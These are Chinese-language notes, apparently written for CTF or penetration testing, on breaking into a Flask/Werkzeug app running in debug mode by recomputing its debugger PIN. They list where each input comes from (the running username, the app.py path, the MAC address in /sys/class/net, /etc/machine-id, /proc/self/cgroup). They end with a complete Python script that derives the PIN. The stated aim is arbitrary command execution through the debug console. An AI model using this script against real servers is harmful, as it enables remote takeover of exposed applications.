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PIN rce PIN 码

debug 模式下，系统生成的一串字符串内涵

特性 输入PIN 码后就能执行任意命令

生成
要素

username 运行 app.py 的用户 可以 whoami 看到

modname 一般是 flask.app

getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般是 Flask

getattr(mod, '__file__', None) flask 模板中  app.py 的绝对地址

uuid.getnode() 当前电脑的 mac 地址的十进制

/sys/class/net/ens33/address

/sys/class/net/eth0/address
一般放在这里面

要把 : 分隔的部分连接起来，转换为10进制

get_machine_id()

在 /etc/machine-id 中

函数 get_pin_and_cookie_name 位置 /site-packages/werkzeug/debug/__init__.py

利用 获得要素，利用脚本算出 pin

类似于 /usr/local/lib/python3.7/site-packages/flask/app.py

非 docker 的 linux

docker 在 /proc/self/cgroup 中

import hashlib
from itertools import chain
probably_public_bits = [
    'kingkk',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/home/kingkk/.local/lib/python3.5/site-packages/flask/app.py' # 
getattr(mod, '__file__', None),
]

private_bits = [
    '52242498922',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '19949f18ce36422da1402b3e3fe53008'# get_machine_id(), /etc/machine-
id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)


